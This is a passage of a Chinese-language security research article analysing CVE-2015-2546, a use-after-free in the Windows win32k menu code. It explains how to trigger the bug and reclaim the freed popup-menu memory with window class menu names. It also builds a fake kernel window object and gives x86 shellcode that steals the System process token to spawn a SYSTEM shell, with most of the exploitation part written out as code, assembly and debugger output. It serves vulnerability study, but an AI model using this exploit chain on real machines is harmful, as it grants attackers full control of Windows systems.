此時在內核中將對目標菜單窗口對象調用 xxxDestroyWindow 函數。在該函數執行期間,由于成員域 fDelayFree 未被置位,目標菜單窗口對象所關聯的彈出菜單 tagPOPUPMENU 對象將被立刻銷毀,擴展區域指向彈出菜單對象的指針將被置空。而由于鎖計數尚未歸零,因此目標菜單窗口對象將仍舊存留與內核中,暫時不會被釋放。
當執行流回到函數 xxxMNMouseMove 中時,目標彈出菜單對象已被銷毀并釋放,但寄存器 edx 仍舊存儲被釋放彈出菜單對象的地址,在沒有對該地址進行有效性判斷的前提下,函數直接調用 xxxMNHideNextHierarchy 函數,導致釋放后重用漏洞的觸發。
釋放后重用的觸發
在函數 xxxMNMouseMove 中調用 xxxSendMessage 發送 MN_SETTIMERTOOPENHIERARCHY 消息的下一條指令位置下斷點,并在測試環境中執行編譯后的驗證代碼程序。命中斷點后觀測數據,可發現目標菜單窗口對象的擴展區域原本指向關聯的彈出菜單對象的指針已被置空;而存儲在寄存器 ebx 中的目標彈出菜單對象的內存塊已處于 Free 狀態:
win32k!xxxMNMouseMove+0x14e:
9481953d 85c0 test eax,eax
kd> r esi
esi=fe810050
kd> ?poi(esi+b0)
Evaluate expression: 0 = 00000000
kd> r ebx
ebx=ffb6e328
kd> !pool ffb6e328
Pool page ffb6e328 region is Paged session pool
ffb6e000 size: 260 previous size: 0 (Allocated) Gla5
ffb6e260 size: 10 previous size: 260 (Allocated) Glnk
ffb6e270 size: 10 previous size: 10 (Allocated) Glnk
ffb6e280 size: a0 previous size: 10 (Allocated) Gla8
*ffb6e320 size: 40 previous size: a0 (Free ) *Uspm Process: 85bc5338
Pooltag Uspm : USERTAG_POPUPMENU, Binary : win32k!MNAllocPopup
[...]
目標彈出菜單對象的內存塊已處于 Free 狀態
接下來執行流進入 xxxMNHideNextHierarchy 函數調用并將目標彈出菜單對象地址作為參數傳入,在該函數中向成員域 spwndNextPopup 指向的子菜單窗口對象發送消息。由于已被釋放內存的目標彈出菜單對象的各個成員域已被置空,因此該函數在判斷后將直接返回,不會導致系統 BSOD 的發生。
0x4 利用
前面通過編寫驗證代碼實現了對釋放后重用漏洞的觸發。在驗證代碼自定義的窗口掛鉤處理程序中,通過調用 DestroyWindow 函數觸發銷毀用于利用的菜單窗口對象,這將導致系統在內核中直接釋放目標菜單窗口對象所關聯的彈出菜單 tagPOPUPMENU 對象,而在內核中該對象的指針仍舊存儲在寄存器 ebx 中。
在函數 xxxSendMessage 返回后,函數 xxxMNMouseMove 并沒有從目標菜單窗口對象的擴展區域重新獲取該指針,也沒有對寄存器中存儲的地址進行驗證,就直接將該地址作為參數傳入函數 xxxMNHideNextHierarchy 中。在函數 xxxMNHideNextHierarchy 中對參數指向的目標彈出菜單對象的成員域 spwndNextPopup 進行訪問,此時該地址的內存區域處于被釋放(Free)狀態,這就導致了釋放后重用的發生。
內存區域的重新占用
接下來通過在已被釋放的彈出菜單對象的內存區域重新分配新的內存塊并構造其中的數據,實現對該漏洞的利用和內核提權。與之前分析 CVE-2017-0263 時類似地,在利用代碼中使用批量創建普通窗口對象并設置窗口類菜單名稱的方式來實現。
利用代碼批量設置窗口類菜單名稱以占用被釋放的菜單窗口對象
在利用代碼中注冊 256 個隨機類名稱的窗口類以避免重復,并通過每個窗口類創建一個普通窗口對象。
for (INT i = 0; i < 0x100; i++)
{
WNDCLASSEXW Class = { 0 };
WCHAR szTemp[20] = { 0 };
HWND hwnd = NULL;
wsprintfW(szTemp, L"%x-%d", rand(), i);
Class.cbSize = sizeof(WNDCLASSEXA);
Class.lpfnWndProc = DefWindowProcW;
Class.cbWndExtra = 0;
Class.hInstance = GetModuleHandleA(NULL);
Class.lpszMenuName = NULL;
Class.lpszClassName = szTemp;
RegisterClassExW(&Class);
hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
0,
0,
0,
0,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
hWindowList[iWindowCount++] = hwnd;
}
利用代碼批量注冊和創建普通窗口對象
接著在利用代碼自定義的窗口掛鉤處理程序 xxWindowHookProc 判斷 message 為 0x1F0 的情況的處理邏輯中,增加對前面批量創建的每個普通窗口對象設置窗口類菜單名稱的調用:
DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = (DWORD)0xdddddddd; //->flags
dwPopupFake[0x1] = (DWORD)0xdddddddd; //->spwndNotify
dwPopupFake[0x2] = (DWORD)0xdddddddd; //->spwndPopupMenu
dwPopupFake[0x3] = (DWORD)0xdddddddd; //->spwndNextPopup
dwPopupFake[0x4] = (DWORD)0xdddddddd; //->spwndPrevPopup
dwPopupFake[0x5] = (DWORD)0xdddddddd; //->spmenu
dwPopupFake[0x6] = (DWORD)0xdddddddd; //->spmenuAlternate
dwPopupFake[0x7] = (DWORD)0xdddddddd; //->spwndActivePopup
dwPopupFake[0x8] = (DWORD)0xdddddddd; //->ppopupmenuRoot
dwPopupFake[0x9] = (DWORD)0xdddddddd; //->ppmDelayedFree
dwPopupFake[0xA] = (DWORD)0xdddddddd; //->posSelectedItem
dwPopupFake[0xB] = (DWORD)0xdddddddd; //->posDropped
dwPopupFake[0xC] = (DWORD)0;
for (UINT i = 0; i < iWindowCount; ++i)
{
SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
}
利用代碼對批量創建的普通窗口對象設置窗口類菜單名稱
由于 MENUNAME 字段屬于 WCHAR 字符串格式,因此在初始化緩沖區時需要將所有數值設置為不包含連續 2 字節為 0 的情況。通過調用函數 SetClassLongW 為目標窗口對象設置 MENUNAME 字段時,系統最終在內核中為窗口對象所屬的窗口類 tagCLS 對象的成員域 lpszMenuName 分配并設置 UNICODE 字符串緩沖區。
由于成員域 lpszMenuName 指向的緩沖區和彈出菜單 tagPOPUPMENU 對象的緩沖區同樣是進程配額的內存塊,因此兩者所占用的額外內存大小相同,只需要將在利用代碼中為每個窗口對象設置的 MENUNAME 緩沖區長度設置為與 tagPOPUPMENU 大小相同的長度,那么通常情況下在內核中總有一個窗口對象的 MENUNAME 緩沖區被分配在先前釋放的根彈出菜單對象的內存區域中,成為偽造的根彈出菜單 tagPOPUPMENU 對象。
這樣一來,由于占用原位置的彈出菜單對象各個成員域被填充了 0xdddddddd 這種無意義的地址,因此在函數 xxxMNHideNextHierarchy 中訪問成員域時將會觸發缺頁異常導致系統 BSOD 的發生。接下來構造偽造的子菜單窗口對象,并使占位的目標彈出菜單對象成員域 spwndPrevPopup 指向偽造對象的地址。
kd> dc ebx
fd602df0 dddddddd dddddddd dddddddd dddddddd ................
fd602e00 dddddddd dddddddd dddddddd dddddddd ................
fd602e10 dddddddd dddddddd dddddddd dddddddd ................
fd602e20 00000000 85dde030 00070008 69707355 ....0.......Uspi
fd602e30 ff4e22c8 92662f70 0084d032 00000000 ."N.p/f.2.......
fd602e40 0023a8e4 00000000 00020910 000c0fc0 ..#.............
fd602e50 00000460 00000000 00000004 00000000 `...............
fd602e60 46340007 64667454 8779d438 87c5d970 ..4FTtfd8.y.p...
占用原位置的彈出菜單對象各個成員域的數據
內核利用的準備工作
在利用代碼的早期階段定義結構體 SHELLCODE 以存儲當前進程的 PID 以及關鍵內核對象成員域的偏移值和內核利用成功反饋變量,并存儲 ShellCode 代碼的入口點。
typedef struct _SHELLCODE {
DWORD reserved;
DWORD pid;
DWORD off_THREADINFO_ppi;
DWORD off_EPROCESS_ActiveLink;
DWORD off_EPROCESS_Token;
BOOL bExploited;
BYTE pfnWindProc[];
} SHELLCODE, *PSHELLCODE;
利用代碼定義的 SHELLCODE 結構體
在用戶進程中分配 0x1000 字節大小的 RWX 內存塊用來作為結構體 SHELLCODE 的對象實例,初始化對象的各個成員域,將內核利用函數的代碼完整拷貝到以成員域 pfnWindProc 地址作為起始的 ShellCode 代碼內存區域。
接下來在分配的內存塊后段劃分出 0xb0 字節大小的區域用作偽造的子菜單窗口 tagWND 對象,使其成員標志位 bServerSideWindowProc 置位(決定消息處理函數在內核上下文直接執行),并將消息處理函數成員域 lpfnWndProc 修改為 ShellCode 代碼的首地址。后續的實際內核利用的操作將通過這里的 ShellCode 代碼在內核上下文中進行。
pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
ZeroMemory(pvShellCode, 0x1000);
ptagWNDFake = (PDWORD)((PBYTE)pvShellCode + 0xf00);
ptagWNDFake[0x05] = (DWORD)0x40000; //->state[bServerSideWindowProc]
ptagWNDFake[0x12] = (DWORD)pvShellCode->pfnWindProc; //->lpfnWndProc
pvShellCode->pid = GetCurrentProcessId();
pvShellCode->off_CLS_lpszMenuName = 0x050;
pvShellCode->off_THREADINFO_ppi = 0x0b8;
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
pvShellCode->off_EPROCESS_Token = 0x0f8;
for (UINT i = 0; ; i++)
{
if (*(DWORD *)&((PBYTE)xxPayloadWindProc)[i] == 0xcccccccc)
{
CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, i);
break;
}
}
在驗證代碼自定義的窗口掛鉤處理函數中,將原本為成員域 spwndNextPopup 和 spwndActivePopup 賦值的 0xdddddddd 改成在此處偽造的目標菜單窗口對象 ptagWNDFake 的地址。
dwPopupFake[0x3] = (DWORD)ptagWNDFake; //->spwndNextPopup
[...]
dwPopupFake[0x7] = (DWORD)ptagWNDFake; //->spwndActivePopup
更新占用原位置的彈出菜單對象部分成員域的值
由于在函數 xxxSendMessageTimeout 中存在對目標窗口對象指向線程信息對象的成員域的判斷,因此利用代碼需要將偽造的菜單窗口對象指針成員域 pti 賦值為當前線程的線程信息對象地址,這可以通過 HMValidateHandle 內核地址泄露技術根據前面創建的任意窗口對象句柄來實現。成員域 pti 在內核利用的函數代碼中還將用作定位進程體 EPROCESS 鏈表的線索。
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hwndFakeMenu);
((PTHRDESKHEAD)ptagWNDFake)->pti = head->pti;
賦值偽造的菜單窗口對象的菜單信息結構體指針成員域
內核利用的函數代碼
用來實施內核利用的 ShellCode 函數代碼將作為偽造的子菜單窗口對象的內核模式消息處理函數在內核上下文中執行。函數的執行通過函數 xxxMNHideNextHierarchy 向目標子菜單窗口對象發送 0x1E5 消息來觸發。
在 ShellCode 函數開始位置,判斷通過參數傳入的消息是否是 0x1E5,不是的情況則直接返回。
push ebp;
mov ebp, esp;
mov eax, dword ptr[ebp + 0Ch];
cmp eax, 01E5h;
jne LocRETURN;
在 32 位的 Windows 操作系統中,用戶上下文代碼段寄存器 CS 值為 0x1B,借助這個特性,在 ShellCode 函數代碼中判斷當前執行上下文是否在用戶模式下,如是則直接返回。
mov ax, cs;
cmp ax, 1Bh;
je LocRETURN;
首先備份當前所有通用寄存器的數值在棧上,接下來通過 CALL-POP 技術獲取當前 EIP 執行指令的地址,并根據相對偏移計算出存儲在 ShellCode 函數代碼前面位置的結構體 SHELLCODE 對象的首地址:
cld;
pushad;
call $+5;
pop edx;
sub edx, 35h;
接下來獲取先前存儲在偽造子菜單窗口對象成員域 pti 中的線程信息 tagTHREADINFO 對象指針,并繼續獲取線程信息對象中存儲的進程信息 tagPROCESSINFO 對象指針,并獲取對應進程的進程體 EPROCESS 對象指針。各個成員域的偏移在結構體 SHELLCODE 對象中存儲。
LocGetEPROCESS:
mov ecx, dword ptr[ebp + 8];
mov ecx, dword ptr[ecx + 8];
mov ebx, dword ptr[edx + 08h];
mov ecx, dword ptr[ebx + ecx];
mov ecx, dword ptr[ecx];
mov ebx, dword ptr[edx + 0Ch];
mov eax, dword ptr[edx + 4];
接下來根據進程體 EPROCESS 對象的成員域 ActiveProcessLinks 雙向鏈表和成員域 UniqueProcessId 進程標識符找到當前進程的 EPROCESS 地址。由于 UniqueProcessId 是成員域 ActiveProcessLinks 的前一個成員域,因此直接使用 SHELLCODE 對象中存儲的 ActiveProcessLinks 偏移值來定位 UniqueProcessId 的位置。
push ecx;
LocForCurrentPROCESS:
cmp dword ptr[ebx + ecx - 4], eax;
je LocFoundCURRENT;
mov ecx, dword ptr[ebx + ecx];
sub ecx, ebx;
jmp LocForCurrentPROCESS;
LocFoundCURRENT:
mov edi,ecx;
pop ecx;
緊接著繼續遍歷進程體 EPROCESS 對象鏈表,以找到 System 進程的進程體對象地址。
LocForSystemPROCESS:
cmp dword ptr[ebx + ecx - 4], 4;
je LocFoundSYSTEM;
mov ecx, dword ptr[ebx + ecx];
sub ecx, ebx;
jmp LocForSystemPROCESS;
LocFoundSYSTEM :
mov esi, ecx;
執行到這一步已定位到當前進程和 System 進程的進程體對象地址,接下來就使用 System 進程的成員域 Token 指針替換當前進程的 Token 指針。
mov eax, dword ptr[edx + 10h];
add esi, eax;
add edi, eax;
lods dword ptr[esi];
stos dword ptr es : [edi];
此時當前進程已擁有 System 進程的 Token 指針,額外增加的引用需要手動為目標 Token 對象增加對象引用計數。在 NT 執行體模塊中大多數內核對象都是以 OBJECT_HEADER 結構體作為頭部結構:
kd> dt nt!_OBJECT_HEADER
+0x000 PointerCount : Int4B
+0x004 HandleCount : Int4B
[...]
+0x014 SecurityDescriptor : Ptr32 Void
+0x018 Body : _QUAD
該結構位于內核對象地址前面的位置,內核對象起始于 OBJECT_HEADER 結構體的 Body 成員域。手動增加指針引用需要對成員域 PointerCount 進行自增。
and eax, 0FFFFFFF8h;
add dword ptr[eax - 18h], 2;
接下來大功告成,置位 SHELLCODE 對象成員域 bExploited 已向用戶進程傳遞利用成功的反饋信號。恢復前面備份的通用寄存器的數值到寄存器中。
mov dword ptr[edx + 14h], 1;
popad;
xor eax, eax;
LocRETURN:
leave;
ret 10h;
在函數末尾設置 5 個 int 3 指令,以便在前面拷貝內核利用的函數代碼時能夠定位到函數的末尾。
提權成功
在自定義的事件通知處理程序 xxWindowEventProc 函數中,待發送 WM_MOUSEMOVE 的函數 SendMessage 調用返回后,增加對 SHELLCODE 對象的內核利用反饋變量成員域 bExploited 數值的判斷:
if (pvShellCode->bExploited)
{
bDoneExploit = TRUE;
}
自定義事件通知處理程序增加對內核利用反饋變量的判斷
如果變量已被賦值,則將全局變量 bDoneExploit 賦值為 TRUE。通過主線程監聽全局變量 bDoneExploit 是否被賦值,并在后續代碼邏輯中創建新的命令提示符進程。
啟動的命令提示符進程已屬于 System 用戶身份
可以觀測到新啟動的命令提示符已屬于 System 用戶身份。
后記
這個漏洞和 CVE-2017-0263 都是 tagPOPUPMENU 對象的釋放后重用漏洞,不同的是利用的時機:CVE-2017-0263 是在內核函數釋放目標彈出菜單對象之后才得以滿足觸發條件,而本分析中的 CVE-2015-2546 需要用戶進程的利用代碼主動觸發釋放目標彈出菜單對象的邏輯。對該漏洞的利用總體來講比 CVE-2017-0263 的利用更為簡單,對 CVE-2017-0263 的利用代碼幾乎可以不經修改地對該漏洞使用,同時也沒有任何被破壞需要修復的內核對象存在。
0x5 鏈接
本分析的 POC 下載
https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2015-2546/x86.cpp
從 CVE-2017-0263 漏洞分析到菜單管理組件
https://xiaodaozhi.com/exploit/71.html
Kernel Attacks through User-Mode Callbacks
http://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf
sam-b/windows_kernel_address_leaks
https://github.com/sam-b/windows_kernel_address_leaks
Two for One: Microsoft Office Encapsulated PostScript and Windows Privilege Escalation Zero-Days
https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf
CVE-2015-2546:從補丁比對到Exploit
WM_MOUSEMOVE message
https://msdn.microsoft.com/en-us/library/ms645616(VS.85).aspx
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/590/
暫無評論